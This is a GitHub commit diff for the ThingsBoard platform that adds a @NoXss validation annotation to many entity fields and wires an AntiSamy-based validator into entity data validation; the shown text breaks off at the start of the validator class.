Commit 593f95a7af809c1f5dc4917aa123363a0f0971a8

Authored by Viacheslav Klimov
Committed by GitHub
1 parent fd3e18f1

Provide additional validation for entities (#4326)

* Provide additional validation for entities

* Refactor

* Create test for NoXssValidator

* Refactor dependencies
Showing 29 changed files with 650 additions and 11 deletions
@@ -37,6 +37,14 @@ @@ -37,6 +37,14 @@
37 37
38 <dependencies> 38 <dependencies>
39 <dependency> 39 <dependency>
  40 + <groupId>javax.validation</groupId>
  41 + <artifactId>validation-api</artifactId>
  42 + </dependency>
  43 + <dependency>
  44 + <groupId>org.owasp.antisamy</groupId>
  45 + <artifactId>antisamy</artifactId>
  46 + </dependency>
  47 + <dependency>
40 <groupId>org.slf4j</groupId> 48 <groupId>org.slf4j</groupId>
41 <artifactId>slf4j-api</artifactId> 49 <artifactId>slf4j-api</artifactId>
42 </dependency> 50 </dependency>
@@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
18 import org.thingsboard.server.common.data.id.AdminSettingsId; 18 import org.thingsboard.server.common.data.id.AdminSettingsId;
19 19
20 import com.fasterxml.jackson.databind.JsonNode; 20 import com.fasterxml.jackson.databind.JsonNode;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 public class AdminSettings extends BaseData<AdminSettingsId> { 23 public class AdminSettings extends BaseData<AdminSettingsId> {
23 24
24 private static final long serialVersionUID = -7670322981725511892L; 25 private static final long serialVersionUID = -7670322981725511892L;
25 - 26 +
  27 + @NoXss
26 private String key; 28 private String key;
27 private transient JsonNode jsonValue; 29 private transient JsonNode jsonValue;
28 30
@@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
17 17
18 import lombok.EqualsAndHashCode; 18 import lombok.EqualsAndHashCode;
19 import org.thingsboard.server.common.data.id.UUIDBased; 19 import org.thingsboard.server.common.data.id.UUIDBased;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
21 @EqualsAndHashCode(callSuper = true) 22 @EqualsAndHashCode(callSuper = true)
22 public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { 23 public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
23 24
24 private static final long serialVersionUID = 5047448057830660988L; 25 private static final long serialVersionUID = 5047448057830660988L;
25 - 26 +
  27 + @NoXss
26 protected String country; 28 protected String country;
  29 + @NoXss
27 protected String state; 30 protected String state;
  31 + @NoXss
28 protected String city; 32 protected String city;
  33 + @NoXss
29 protected String address; 34 protected String address;
  35 + @NoXss
30 protected String address2; 36 protected String address2;
  37 + @NoXss
31 protected String zip; 38 protected String zip;
  39 + @NoXss
32 protected String phone; 40 protected String phone;
  41 + @NoXss
33 protected String email; 42 protected String email;
34 43
35 public ContactBased() { 44 public ContactBased() {
@@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 import com.fasterxml.jackson.annotation.JsonProperty.Access; 20 import com.fasterxml.jackson.annotation.JsonProperty.Access;
21 import org.thingsboard.server.common.data.id.CustomerId; 21 import org.thingsboard.server.common.data.id.CustomerId;
22 import org.thingsboard.server.common.data.id.TenantId; 22 import org.thingsboard.server.common.data.id.TenantId;
23 -  
24 -import com.fasterxml.jackson.databind.JsonNode; 23 +import org.thingsboard.server.common.data.validation.NoXss;
25 24
26 public class Customer extends ContactBased<CustomerId> implements HasTenantId { 25 public class Customer extends ContactBased<CustomerId> implements HasTenantId {
27 26
28 private static final long serialVersionUID = -1599722990298929275L; 27 private static final long serialVersionUID = -1599722990298929275L;
29 - 28 +
  29 + @NoXss
30 private String title; 30 private String title;
31 private TenantId tenantId; 31 private TenantId tenantId;
32 32
@@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId; @@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
25 import org.thingsboard.server.common.data.id.DeviceId; 25 import org.thingsboard.server.common.data.id.DeviceId;
26 import org.thingsboard.server.common.data.id.DeviceProfileId; 26 import org.thingsboard.server.common.data.id.DeviceProfileId;
27 import org.thingsboard.server.common.data.id.TenantId; 27 import org.thingsboard.server.common.data.id.TenantId;
  28 +import org.thingsboard.server.common.data.validation.NoXss;
28 29
29 import java.io.ByteArrayInputStream; 30 import java.io.ByteArrayInputStream;
30 import java.io.IOException; 31 import java.io.IOException;
@@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen @@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
37 38
38 private TenantId tenantId; 39 private TenantId tenantId;
39 private CustomerId customerId; 40 private CustomerId customerId;
  41 + @NoXss
40 private String name; 42 private String name;
  43 + @NoXss
41 private String type; 44 private String type;
  45 + @NoXss
42 private String label; 46 private String label;
43 private DeviceProfileId deviceProfileId; 47 private DeviceProfileId deviceProfileId;
44 private transient DeviceData deviceData; 48 private transient DeviceData deviceData;
@@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
24 import org.thingsboard.server.common.data.id.DeviceProfileId; 24 import org.thingsboard.server.common.data.id.DeviceProfileId;
25 import org.thingsboard.server.common.data.id.RuleChainId; 25 import org.thingsboard.server.common.data.id.RuleChainId;
26 import org.thingsboard.server.common.data.id.TenantId; 26 import org.thingsboard.server.common.data.id.TenantId;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
27 28
  29 +import javax.validation.Valid;
28 import java.io.ByteArrayInputStream; 30 import java.io.ByteArrayInputStream;
29 import java.io.IOException; 31 import java.io.IOException;
30 32
@@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
36 public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { 38 public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
37 39
38 private TenantId tenantId; 40 private TenantId tenantId;
  41 + @NoXss
39 private String name; 42 private String name;
  43 + @NoXss
40 private String description; 44 private String description;
41 private boolean isDefault; 45 private boolean isDefault;
42 private DeviceProfileType type; 46 private DeviceProfileType type;
43 private DeviceTransportType transportType; 47 private DeviceTransportType transportType;
44 private DeviceProfileProvisionType provisionType; 48 private DeviceProfileProvisionType provisionType;
45 private RuleChainId defaultRuleChainId; 49 private RuleChainId defaultRuleChainId;
  50 + @NoXss
46 private String defaultQueueName; 51 private String defaultQueueName;
  52 + @Valid
47 private transient DeviceProfileData profileData; 53 private transient DeviceProfileData profileData;
48 @JsonIgnore 54 @JsonIgnore
49 private byte[] profileDataBytes; 55 private byte[] profileDataBytes;
  56 + @NoXss
50 private String provisionDeviceKey; 57 private String provisionDeviceKey;
51 58
52 public DeviceProfile() { 59 public DeviceProfile() {
@@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
23 import org.thingsboard.server.common.data.id.EntityViewId; 23 import org.thingsboard.server.common.data.id.EntityViewId;
24 import org.thingsboard.server.common.data.id.TenantId; 24 import org.thingsboard.server.common.data.id.TenantId;
25 import org.thingsboard.server.common.data.objects.TelemetryEntityView; 25 import org.thingsboard.server.common.data.objects.TelemetryEntityView;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 /** 28 /**
28 * Created by Victor Basanets on 8/27/2017. 29 * Created by Victor Basanets on 8/27/2017.
@@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
39 private EntityId entityId; 40 private EntityId entityId;
40 private TenantId tenantId; 41 private TenantId tenantId;
41 private CustomerId customerId; 42 private CustomerId customerId;
  43 + @NoXss
42 private String name; 44 private String name;
  45 + @NoXss
43 private String type; 46 private String type;
44 private TelemetryEntityView keys; 47 private TelemetryEntityView keys;
45 private long startTimeMs; 48 private long startTimeMs;
@@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 import lombok.EqualsAndHashCode; 20 import lombok.EqualsAndHashCode;
21 import org.thingsboard.server.common.data.id.TenantId; 21 import org.thingsboard.server.common.data.id.TenantId;
22 import org.thingsboard.server.common.data.id.TenantProfileId; 22 import org.thingsboard.server.common.data.id.TenantProfileId;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
23 24
24 @EqualsAndHashCode(callSuper = true) 25 @EqualsAndHashCode(callSuper = true)
25 public class Tenant extends ContactBased<TenantId> implements HasTenantId { 26 public class Tenant extends ContactBased<TenantId> implements HasTenantId {
26 27
27 private static final long serialVersionUID = 8057243243859922101L; 28 private static final long serialVersionUID = 8057243243859922101L;
28 - 29 +
  30 + @NoXss
29 private String title; 31 private String title;
  32 + @NoXss
30 private String region; 33 private String region;
31 private TenantProfileId tenantProfileId; 34 private TenantProfileId tenantProfileId;
32 35
@@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
23 import org.thingsboard.server.common.data.id.TenantProfileId; 23 import org.thingsboard.server.common.data.id.TenantProfileId;
24 import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; 24 import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
25 import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; 25 import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 import java.io.ByteArrayInputStream; 28 import java.io.ByteArrayInputStream;
28 import java.io.IOException; 29 import java.io.IOException;
@@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
34 @Slf4j 35 @Slf4j
35 public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { 36 public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
36 37
  38 + @NoXss
37 private String name; 39 private String name;
  40 + @NoXss
38 private String description; 41 private String description;
39 private boolean isDefault; 42 private boolean isDefault;
40 private boolean isolatedTbCore; 43 private boolean isolatedTbCore;
@@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
24 import org.thingsboard.server.common.data.id.UserId; 24 import org.thingsboard.server.common.data.id.UserId;
25 import org.thingsboard.server.common.data.security.Authority; 25 import org.thingsboard.server.common.data.security.Authority;
26 26
27 -import com.fasterxml.jackson.databind.JsonNode; 27 +import org.thingsboard.server.common.data.validation.NoXss;
28 28
29 @EqualsAndHashCode(callSuper = true) 29 @EqualsAndHashCode(callSuper = true)
30 public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { 30 public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
@@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
35 private CustomerId customerId; 35 private CustomerId customerId;
36 private String email; 36 private String email;
37 private Authority authority; 37 private Authority authority;
  38 + @NoXss
38 private String firstName; 39 private String firstName;
  40 + @NoXss
39 private String lastName; 41 private String lastName;
40 42
41 public User() { 43 public User() {
@@ -15,12 +15,15 @@ @@ -15,12 +15,15 @@
15 */ 15 */
16 package org.thingsboard.server.common.data.asset; 16 package org.thingsboard.server.common.data.asset;
17 17
18 -import com.fasterxml.jackson.databind.JsonNode;  
19 import lombok.EqualsAndHashCode; 18 import lombok.EqualsAndHashCode;
20 -import org.thingsboard.server.common.data.*; 19 +import org.thingsboard.server.common.data.HasCustomerId;
  20 +import org.thingsboard.server.common.data.HasName;
  21 +import org.thingsboard.server.common.data.HasTenantId;
  22 +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
21 import org.thingsboard.server.common.data.id.AssetId; 23 import org.thingsboard.server.common.data.id.AssetId;
22 import org.thingsboard.server.common.data.id.CustomerId; 24 import org.thingsboard.server.common.data.id.CustomerId;
23 import org.thingsboard.server.common.data.id.TenantId; 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
24 27
25 @EqualsAndHashCode(callSuper = true) 28 @EqualsAndHashCode(callSuper = true)
26 public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { 29 public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
@@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
29 32
30 private TenantId tenantId; 33 private TenantId tenantId;
31 private CustomerId customerId; 34 private CustomerId customerId;
  35 + @NoXss
32 private String name; 36 private String name;
  37 + @NoXss
33 private String type; 38 private String type;
  39 + @NoXss
34 private String label; 40 private String label;
35 41
36 public Asset() { 42 public Asset() {
@@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 import com.fasterxml.jackson.annotation.JsonIgnoreProperties; 18 import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
19 import lombok.Data; 19 import lombok.Data;
20 -import org.thingsboard.server.common.data.query.KeyFilter;  
21 20
  21 +import javax.validation.Valid;
22 import java.util.List; 22 import java.util.List;
23 -import java.util.concurrent.TimeUnit;  
24 23
25 @Data 24 @Data
26 @JsonIgnoreProperties(ignoreUnknown = true) 25 @JsonIgnoreProperties(ignoreUnknown = true)
27 public class AlarmCondition { 26 public class AlarmCondition {
28 27
  28 + @Valid
29 private List<AlarmConditionFilter> condition; 29 private List<AlarmConditionFilter> condition;
30 private AlarmConditionSpec spec; 30 private AlarmConditionSpec spec;
31 31
@@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
18 import lombok.Data; 18 import lombok.Data;
19 import org.thingsboard.server.common.data.query.EntityKeyValueType; 19 import org.thingsboard.server.common.data.query.EntityKeyValueType;
20 import org.thingsboard.server.common.data.query.KeyFilterPredicate; 20 import org.thingsboard.server.common.data.query.KeyFilterPredicate;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
  22 +
  23 +import javax.validation.Valid;
21 24
22 @Data 25 @Data
23 public class AlarmConditionFilter { 26 public class AlarmConditionFilter {
24 27
  28 + @Valid
25 private AlarmConditionFilterKey key; 29 private AlarmConditionFilterKey key;
26 private EntityKeyValueType valueType; 30 private EntityKeyValueType valueType;
  31 + @NoXss
27 private Object value; 32 private Object value;
  33 + @Valid
28 private KeyFilterPredicate predicate; 34 private KeyFilterPredicate predicate;
29 35
30 } 36 }
@@ -16,11 +16,13 @@ @@ -16,11 +16,13 @@
16 package org.thingsboard.server.common.data.device.profile; 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
19 20
20 @Data 21 @Data
21 public class AlarmConditionFilterKey { 22 public class AlarmConditionFilterKey {
22 23
23 private final AlarmConditionKeyType type; 24 private final AlarmConditionKeyType type;
  25 + @NoXss
24 private final String key; 26 private final String key;
25 27
26 } 28 }
@@ -16,13 +16,18 @@ @@ -16,13 +16,18 @@
16 package org.thingsboard.server.common.data.device.profile; 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
  20 +
  21 +import javax.validation.Valid;
19 22
20 @Data 23 @Data
21 public class AlarmRule { 24 public class AlarmRule {
22 25
  26 + @Valid
23 private AlarmCondition condition; 27 private AlarmCondition condition;
24 private AlarmSchedule schedule; 28 private AlarmSchedule schedule;
25 // Advanced 29 // Advanced
  30 + @NoXss
26 private String alarmDetails; 31 private String alarmDetails;
27 32
28 } 33 }
@@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
19 import org.thingsboard.server.common.data.alarm.AlarmSeverity; 19 import org.thingsboard.server.common.data.alarm.AlarmSeverity;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
  22 +import javax.validation.Valid;
21 import java.util.List; 23 import java.util.List;
22 import java.util.TreeMap; 24 import java.util.TreeMap;
23 25
@@ -25,9 +27,12 @@ import java.util.TreeMap; @@ -25,9 +27,12 @@ import java.util.TreeMap;
25 public class DeviceProfileAlarm { 27 public class DeviceProfileAlarm {
26 28
27 private String id; 29 private String id;
  30 + @NoXss
28 private String alarmType; 31 private String alarmType;
29 32
  33 + @Valid
30 private TreeMap<AlarmSeverity, AlarmRule> createRules; 34 private TreeMap<AlarmSeverity, AlarmRule> createRules;
  35 + @Valid
31 private AlarmRule clearRule; 36 private AlarmRule clearRule;
32 37
33 // Hidden in advanced settings 38 // Hidden in advanced settings
@@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 import lombok.Data; 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
20 import java.util.List; 21 import java.util.List;
21 22
22 @Data 23 @Data
@@ -25,6 +26,7 @@ public class DeviceProfileData { @@ -25,6 +26,7 @@ public class DeviceProfileData {
25 private DeviceProfileConfiguration configuration; 26 private DeviceProfileConfiguration configuration;
26 private DeviceProfileTransportConfiguration transportConfiguration; 27 private DeviceProfileTransportConfiguration transportConfiguration;
27 private DeviceProfileProvisionConfiguration provisionConfiguration; 28 private DeviceProfileProvisionConfiguration provisionConfiguration;
  29 + @Valid
28 private List<DeviceProfileAlarm> alarms; 30 private List<DeviceProfileAlarm> alarms;
29 31
30 } 32 }
@@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
18 import com.fasterxml.jackson.annotation.JsonIgnore; 18 import com.fasterxml.jackson.annotation.JsonIgnore;
19 import lombok.Data; 19 import lombok.Data;
20 import lombok.RequiredArgsConstructor; 20 import lombok.RequiredArgsConstructor;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 @Data 23 @Data
23 @RequiredArgsConstructor 24 @RequiredArgsConstructor
@@ -27,6 +28,7 @@ public class DynamicValue<T> { @@ -27,6 +28,7 @@ public class DynamicValue<T> {
27 private T resolvedValue; 28 private T resolvedValue;
28 29
29 private final DynamicValueSourceType sourceType; 30 private final DynamicValueSourceType sourceType;
  31 + @NoXss
30 private final String sourceAttribute; 32 private final String sourceAttribute;
31 private final boolean inherit; 33 private final boolean inherit;
32 34
@@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
20 import com.fasterxml.jackson.annotation.JsonProperty; 20 import com.fasterxml.jackson.annotation.JsonProperty;
21 import lombok.Data; 21 import lombok.Data;
22 import lombok.Getter; 22 import lombok.Getter;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
  24 +
  25 +import javax.validation.Valid;
23 26
24 @Data 27 @Data
25 public class FilterPredicateValue<T> { 28 public class FilterPredicateValue<T> {
26 29
27 @Getter 30 @Getter
  31 + @NoXss
28 private final T defaultValue; 32 private final T defaultValue;
29 @Getter 33 @Getter
  34 + @NoXss
30 private final T userValue; 35 private final T userValue;
31 @Getter 36 @Getter
  37 + @Valid
32 private final DynamicValue<T> dynamicValue; 38 private final DynamicValue<T> dynamicValue;
33 39
34 public FilterPredicateValue(T defaultValue) { 40 public FilterPredicateValue(T defaultValue) {
@@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
17 17
18 import lombok.Data; 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
  21 +
20 @Data 22 @Data
21 public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { 23 public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
22 24
23 private StringOperation operation; 25 private StringOperation operation;
  26 + @Valid
24 private FilterPredicateValue<String> value; 27 private FilterPredicateValue<String> value;
25 private boolean ignoreCase; 28 private boolean ignoreCase;
26 29
@@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
26 import org.thingsboard.server.common.data.id.RuleChainId; 26 import org.thingsboard.server.common.data.id.RuleChainId;
27 import org.thingsboard.server.common.data.id.RuleNodeId; 27 import org.thingsboard.server.common.data.id.RuleNodeId;
28 import org.thingsboard.server.common.data.id.TenantId; 28 import org.thingsboard.server.common.data.id.TenantId;
  29 +import org.thingsboard.server.common.data.validation.NoXss;
29 30
30 @Data 31 @Data
31 @EqualsAndHashCode(callSuper = true) 32 @EqualsAndHashCode(callSuper = true)
@@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
35 private static final long serialVersionUID = -5656679015121935465L; 36 private static final long serialVersionUID = -5656679015121935465L;
36 37
37 private TenantId tenantId; 38 private TenantId tenantId;
  39 + @NoXss
38 private String name; 40 private String name;
39 private RuleNodeId firstRuleNodeId; 41 private RuleNodeId firstRuleNodeId;
40 private boolean root; 42 private boolean root;
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.common.data.validation;
  17 +
  18 +import javax.validation.Constraint;
  19 +import javax.validation.Payload;
  20 +import java.lang.annotation.ElementType;
  21 +import java.lang.annotation.Retention;
  22 +import java.lang.annotation.RetentionPolicy;
  23 +import java.lang.annotation.Target;
  24 +
  25 +@Retention(RetentionPolicy.RUNTIME)
  26 +@Target(ElementType.FIELD)
  27 +@Constraint(validatedBy = {})
  28 +public @interface NoXss {
  29 + String message() default "field value is malformed";
  30 +
  31 + Class<?>[] groups() default {};
  32 +
  33 + Class<? extends Payload>[] payload() default {};
  34 +}
@@ -108,6 +108,14 @@ @@ -108,6 +108,14 @@
108 <artifactId>jackson-databind</artifactId> 108 <artifactId>jackson-databind</artifactId>
109 </dependency> 109 </dependency>
110 <dependency> 110 <dependency>
  111 + <groupId>org.hibernate.validator</groupId>
  112 + <artifactId>hibernate-validator</artifactId>
  113 + </dependency>
  114 + <dependency>
  115 + <groupId>org.glassfish</groupId>
  116 + <artifactId>javax.el</artifactId>
  117 + </dependency>
  118 + <dependency>
111 <groupId>org.springframework</groupId> 119 <groupId>org.springframework</groupId>
112 <artifactId>spring-context</artifactId> 120 <artifactId>spring-context</artifactId>
113 </dependency> 121 </dependency>
@@ -195,6 +203,11 @@ @@ -195,6 +203,11 @@
195 <scope>test</scope> 203 <scope>test</scope>
196 </dependency> 204 </dependency>
197 <dependency> 205 <dependency>
  206 + <groupId>org.junit.jupiter</groupId>
  207 + <artifactId>junit-jupiter-params</artifactId>
  208 + <scope>test</scope>
  209 + </dependency>
  210 + <dependency>
198 <groupId>org.springframework</groupId> 211 <groupId>org.springframework</groupId>
199 <artifactId>spring-context-support</artifactId> 212 <artifactId>spring-context-support</artifactId>
200 </dependency> 213 </dependency>
@@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
17 17
18 import com.fasterxml.jackson.databind.JsonNode; 18 import com.fasterxml.jackson.databind.JsonNode;
19 import lombok.extern.slf4j.Slf4j; 19 import lombok.extern.slf4j.Slf4j;
  20 +import org.hibernate.validator.HibernateValidator;
  21 +import org.hibernate.validator.HibernateValidatorConfiguration;
  22 +import org.hibernate.validator.cfg.ConstraintMapping;
20 import org.thingsboard.server.common.data.BaseData; 23 import org.thingsboard.server.common.data.BaseData;
21 import org.thingsboard.server.common.data.EntityType; 24 import org.thingsboard.server.common.data.EntityType;
22 import org.thingsboard.server.common.data.id.TenantId; 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
23 import org.thingsboard.server.dao.TenantEntityDao; 27 import org.thingsboard.server.dao.TenantEntityDao;
24 import org.thingsboard.server.dao.exception.DataValidationException; 28 import org.thingsboard.server.dao.exception.DataValidationException;
25 29
  30 +import javax.validation.ConstraintViolation;
  31 +import javax.validation.Validation;
  32 +import javax.validation.Validator;
26 import java.util.HashSet; 33 import java.util.HashSet;
27 import java.util.Iterator; 34 import java.util.Iterator;
  35 +import java.util.List;
28 import java.util.Set; 36 import java.util.Set;
29 import java.util.function.Function; 37 import java.util.function.Function;
30 import java.util.regex.Matcher; 38 import java.util.regex.Matcher;
31 import java.util.regex.Pattern; 39 import java.util.regex.Pattern;
  40 +import java.util.stream.Collectors;
32 41
33 @Slf4j 42 @Slf4j
34 public abstract class DataValidator<D extends BaseData<?>> { 43 public abstract class DataValidator<D extends BaseData<?>> {
35 private static final Pattern EMAIL_PATTERN = 44 private static final Pattern EMAIL_PATTERN =
36 Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); 45 Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
37 46
  47 + private static Validator fieldsValidator;
  48 +
  49 + static {
  50 + initializeFieldsValidator();
  51 + }
  52 +
38 public void validate(D data, Function<D, TenantId> tenantIdFunction) { 53 public void validate(D data, Function<D, TenantId> tenantIdFunction) {
39 try { 54 try {
40 if (data == null) { 55 if (data == null) {
41 throw new DataValidationException("Data object can't be null!"); 56 throw new DataValidationException("Data object can't be null!");
42 } 57 }
  58 +
  59 + List<String> validationErrors = validateFields(data);
  60 + if (!validationErrors.isEmpty()) {
  61 + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
  62 + }
  63 +
43 TenantId tenantId = tenantIdFunction.apply(data); 64 TenantId tenantId = tenantIdFunction.apply(data);
44 validateDataImpl(tenantId, data); 65 validateDataImpl(tenantId, data);
45 if (data.getId() == null) { 66 if (data.getId() == null) {
@@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
81 return emailMatcher.matches(); 102 return emailMatcher.matches();
82 } 103 }
83 104
  105 + private List<String> validateFields(D data) {
  106 + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
  107 + return constraintsViolations.stream()
  108 + .map(ConstraintViolation::getMessage)
  109 + .distinct()
  110 + .collect(Collectors.toList());
  111 + }
  112 +
84 protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, 113 protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
85 TenantEntityDao tenantEntityDao, 114 TenantEntityDao tenantEntityDao,
86 long maxEntities, 115 long maxEntities,
@@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
111 throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); 140 throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
112 } 141 }
113 } 142 }
  143 +
  144 + private static void initializeFieldsValidator() {
  145 + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
  146 + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
  147 + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
  148 + validatorConfiguration.addMapping(constraintMapping);
  149 +
  150 + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
  151 + }
114 } 152 }
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import com.google.common.io.Resources;
  19 +import lombok.extern.slf4j.Slf4j;
